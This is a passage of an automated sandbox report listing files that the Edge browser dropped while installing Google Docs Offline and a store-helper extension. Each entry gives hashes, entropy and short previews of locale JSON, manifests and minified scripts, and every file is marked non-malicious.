Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8032_339149833\6265e8ef-70b7-43ed-8d95-ab5ab9e7d39c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8032_339149833\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8032_339149833\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8032_339149833\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8032_339149833\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
